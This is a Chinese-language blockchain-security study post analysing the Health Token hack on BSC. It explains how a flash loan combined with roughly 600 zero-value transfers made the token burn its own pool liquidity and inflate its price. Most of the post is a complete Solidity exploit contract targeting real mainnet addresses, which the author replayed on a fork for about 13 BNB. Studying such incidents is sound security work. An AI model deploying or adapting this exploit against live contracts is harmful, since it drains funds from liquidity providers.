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区块链安全学习 - Health Token被黑分析

发表于: 2022-11-26 00:17 13625

区块链安全学习 - Health Token被黑分析

Catsay

2022-11-26 00:17

13625

攻击交易：

https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

攻击者通过dodo闪电贷获取了40个WBNB，通过pancakeSwap的Router兑换了30565652268756555675523626个
图片描述
相同数目的Health token应该只能swap出个40000000000000000000

但是却兑换出了56641927146106351887，归还闪电贷后，至此黑客获利16641927146106351887。也就是16BNB

通过观察交易，发现黑客发送了大量的 transfer 。去看合约代码

发现在 transfer 函数中，如果满足了条件，它就会销毁流动池中的Health代币。从而导致Health兑换WBNB的价格增高。

图片描述

我们同样也去dodo借一笔闪电贷，然后去模拟运行一下。fork bsc 22337426区块

去tenderly模拟，因为循环次数过多，我们需要拉高gas
图片描述

图片描述

成功获利13个BNB

感谢在学习过程中33提供的帮助。

本人初学，如有错漏之处,敬请指正

简介
攻击分析
复盘
最后

pragma solidity ^0.8.0;
interface IERC20 {
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address to, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(

        address from,

        address to,

        uint256 amount

    ) external returns (bool);
}
 
interface Uni_Router_V2 {

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint256 amountIn,

        uint256 amountOutMin,

        address[] memory path,

        address to,

        uint256 deadline

  ) external;
}
 
interface IDPPAdvanced {

    function flashLoan(

        uint256 baseAmount,

        uint256 quoteAmount,

        address assetTo,

        bytes calldata data

    ) external;
}
 
interface IWBNB {

    function balanceOf(address account) external view  returns (uint256);

    function withdraw(uint wad) external;

    function deposit() external payable;

    function approve(address guy, uint wad) external returns (bool);
}
 
interface IPancakeRouter {

    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);

    function swapExactTokensForTokens(

        uint amountIn,

        uint amountOutMin,

        address[] calldata path,

        address to,

        uint deadline

    ) external returns (uint[] memory amounts);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(

        uint amountIn,

        uint amountOutMin,

        address[] calldata path,

        address to,

        uint deadline

    ) external;
}
 
interface IHealth {

    function balanceOf(address account) external view  returns (uint256); 

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount) external returns (bool);
}
 
interface IPancakePair {

    function skim(address to) external;

    function sync() external;
}
 
struct DPPAdvancedCallBackData {

    uint256 baseAmount;

    uint256 quoteAmount;
}
 
contract ContractTest{

    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);

    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);

    Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
 
    function testExp() external{
 
        WBNB.approve(address(uni_router), type(uint).max);

        HEALTH.approve(address(uni_router),type(uint).max);
 
        uint256 borrown_wbnb_amt = 200 * 1e18;

        DPPAdvancedCallBackData memory callbackData;

        callbackData.baseAmount = borrown_wbnb_amt;

        callbackData.quoteAmount = 0;

        bytes memory data = abi.encode(callbackData);
 
        IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data);
 
    }
 
    fallback() external payable {

    }
 
    function DPPFlashLoanCall(

        address sender,

        uint256 baseAmount,

        uint256 quoteAmount,

        bytes calldata data

    ) external {

        WBNBToHEALTH();

        for(uint i = 0; i < 600; i++){

            HEALTH.transfer(address(this), 0);

        }

        HEALTHToWBNB();

        WBNB.transfer(dodo, 200 * 1e18);

    }
 
    function WBNBToHEALTH() internal{

        address[] memory path = new address[](2);

        path[0] = address(WBNB);

        path[1] = address(HEALTH);

        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(

            WBNB.balanceOf(address(this)),

            0,

            path,

            address(this),

            block.timestamp

        );

    }
 
    function HEALTHToWBNB() internal{

        address[] memory path = new address[](2);

        path[0] = address(HEALTH);

        path[1] = address(WBNB);

        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(

            HEALTH.balanceOf(address(this)),

            0,

            path,

            address(this),

            block.timestamp

        );

    }
}